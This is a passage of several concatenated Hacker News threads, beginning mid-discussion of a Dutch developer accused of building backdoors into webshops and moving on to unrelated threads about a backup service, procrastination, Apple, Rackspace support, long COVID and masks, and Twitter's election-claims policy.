Of course we don't do it, but it surprises me how uncommon it is. Must be human being are in general not assholes.

Strangely, my non-programmer friends are surprised when I explain how one would do that, if they allowed me to run any code on their machine.

<comment><USER3> I'm surprised that so many developers run node.js on their local machine, considering that it has access to all of the users files. Of all the hundreds of dependencies that a node project has, there only need to be one bad egg.

Even Commercial applications can have employees that can embed code that give them access to the machine that the application is running on, think what a single application like TeamViewer can do on the target computer.

Yet, most people allow all apps to send and receive data from the internet unhinged even though they don't need it.

Then there is also automated updates, you may audit an app once, but as soon as it's updated, it's an entirely different application that need to be audited again.

I really do believe that we are going to see more of these cases as soon as some developer becomes desperate enough (like someone with mountains of debt and no way out) and start embedding things like ransomware or other types of blackmail.

<comment><USER2> I'm playing around with some ideas on this subject.

My idea came about when I was checking the SHA256-sum of a binary.

If the way you run a program (or a function) is by calling it by it's hash - then you can only get one program.

That means a program is an immutable thing - it can't change. It is deterministic.

My project is called Komiform, and it's not production ready yet but I'm playing around with some ideas.

[https://github.com/fromheten/komiform](https://github.com/fromheten/komiform)

</comment></comment></comment><comment><USER4> This was in the Dutch news in October last year already: [https://www.security.nl/posting/488721/Websitebouwer+verdach...](https://www.security.nl/posting/488721/Websitebouwer+verdacht+van+backdoor+in+webwinkels)

Like others said, it's not really anything special. But since a couple of days ago some foreign news sites seem to have picked it up and now one by one they are posting this same news item:

[http://thenextweb.com/security/2017/01/17/dutch-coder- built-...](http://thenextweb.com/security/2017/01/17/dutch-coder-built- thousands-websites-built-backdoors/)

[http://www.eteknix.com/dutch-developer-built-backdoors- thous...](http://www.eteknix.com/dutch-developer-built-backdoors-thousands- sites/)

[http://www.theregister.co.uk/2017/01/17/police_warn_of_dutch...](http://www.theregister.co.uk/2017/01/17/police_warn_of_dutch_developer_who_built_backdoors_for_carding/)

</comment><comment><USER5> Dupe. Yesterday's discussion (title was incorrect): [https://news.ycombinator.com/item?id=13418169](https://news.ycombinator.com/item?id=13418169)

Today's title is again slightly suggestive. There are 20k _potential_ victims who have been notified. Of those 20k, some indeed _have become_ a victim. But certainly not all.

</comment><comment><USER6> Even disregarding the cringeworthy stock photo, this article is horribly written and the subject uninteresting. Of course this happens all the time.

<comment><USER7> > _this article is horribly written_

Yes

> _and the subject uninteresting_

That's a matter of opinion, but if the subject is uninteresting why did you read it?

> _Of course this happens all the time._

[Citation needed]

<comment><USER6> > That's a matter of opinion, but if the subject is uninteresting why did you > read it?

The title was interesting.</comment></comment></comment>


Service for backup Linux server in 1 minute - <AUTHOR> http://bitcalm.com/

<comment><USER2> This seems like a good idea (can/will you support Solaris?) however without an "about" page that discusses who is involved as well as whois privacy not showing any info it's a non starter for us. You should give full contact info in the appropriate places as well as the team (or sole developers) qualifications to do this type of service.</comment>


Ask HN: do you spend more time on HN when your work sucks? - <AUTHOR>

I have four medium sized projects which I consider extremely distasteful on my plate for the next two weeks. These are things I simply can't stand doing, but need to finish in order to move on to better stuff. Since my company is more like a DHH company than Facebook, I can't really afford to pay someone else to do this stuff. (+1 for outside capital!)
Anyway, I've noticed that whenever I have to do work stuff I don't want to do, the amount of time I spend doing random internet things goes WAY up. HN just happens to be the procrastination drug of the moment.  Anyone else suffer from this problem?
p.s. the no procrastination flag doesn't help when there is that prominent "override" button. <comment><USER2> Yes. Yes I do.

But you should really eliminate the source of pain so you can get back to reading HN guilt-free (if that's possible).

BTW they sound more like short projects if it's only two weeks (unless they're larger projects crammed into a two-week timeframe!).

</comment><comment><USER3> In a word, yes. I work for myself but that doesn't mean I don't get bored of the tedium of some of my projects. In those times I turn to HN.</comment>


Brink: Artificial Intelligence Arrives [MS Research / 2009] - simba-hiiipower http://science.discovery.com/videos/brink-package-artificial-intelligence-arrives.html

<comment><AUTHOR> Artificial Intelligence,

Knocks on the door,

Nobody answers.</comment>


Facts about Apple - <AUTHOR> http://www.businessinsider.com/15-amazing-facts-about-apple-2010-10

<comment><USER2> The fact about $625 of revenue from every iPhone sold last year kinda boggles my mind. Where is the extra revenue coming from after they account for the $300 price tag?</comment>


Rackspace Discusses its Cloud Strategy - <AUTHOR> http://www.datacenterknowledge.com/archives/2009/07/14/rackspace-on-its-cloud-strategy/

<comment><USER2> If they want to succeed they _really_ need to work on their customer support. I had hoped that they would get some of the Rackspace people involved when it went from Mosso to "The Rackspace Cloud", but that doesn't seem to be the case.

We have had almost 0 good customer support experiences (there was ONE time where our problem was resolved within a few minutes) with them over probably 20 contacts in 2009 alone.</comment>


Covid-19 Can Last for Several Months - <AUTHOR> https://www.theatlantic.com/health/archive/2020/06/covid-19-coronavirus-longterm-symptoms-months/612679/ <comment><USER2> SARS survivors were still suffering a decade later. I'd like to see a recent study on that.

[https://globalnews.ca/news/404562/sars-10-years-later-how- ar...](https://globalnews.ca/news/404562/sars-10-years-later-how-are- survivors-faring-now/)

</comment><comment><USER3> Next we will find out it's like herpes and it's recurrent. This is why I wear a P-100 respirator [1] outside my home. I'm 30 but I'm still not taking a chance on an unknown virus. For everyone else who thought they would gain immunity, and it's no big deal, consider using fuzzy logic [2] next time instead of impulse.

It is not worth risking a lifetime of regret because wearing a mask is `uncomfortable.`

[1] [https://i.imgur.com/iVM2SHc.png](https://i.imgur.com/iVM2SHc.png)

[2] [https://en.wikipedia.org/wiki/Fuzzy_logic](https://en.wikipedia.org/wiki/Fuzzy_logic)

<comment><USER4> I've found that a mask is basically incompatible with a bicycle. Part of it might be wearing glasses, but not all. So I wonder about your risk assessment... are you physically fit? Could you run 1km or even half of that? How do you exercise wearing that mask?

<comment><USER3> When in open air, you don't need to wear as strong a mask. A motorcycle mask would be just fine. Like, if riding a bike, unless stuck in traffic, the outside air won't be carrying anything concentrated, plus you'll be passing by it so quickly.

I exercise at home with resistance bands.</comment></comment></comment>


Twitter: Expanding our policies to further protect the civic conversation - <AUTHOR> https://blog.twitter.com/en_us/topics/company/2020/civic-integrity-policy-update.html <comment><USER2> > Disputed claims that could undermine faith in the process itself, e.g. > unverified information about election rigging, ballot tampering, vote > tallying, or certification of election results.

What if the process is in fact broken and corrupt, and the corrupt authorities dispute the claims of corruption? Hard not to read this as either a) Twitter will censor elections related claims that contradict the official line or the more likely b) Twitter will themselves decide what is and is not disputed, and censor accordingly.

This doesn't seem like a good thing.</comment>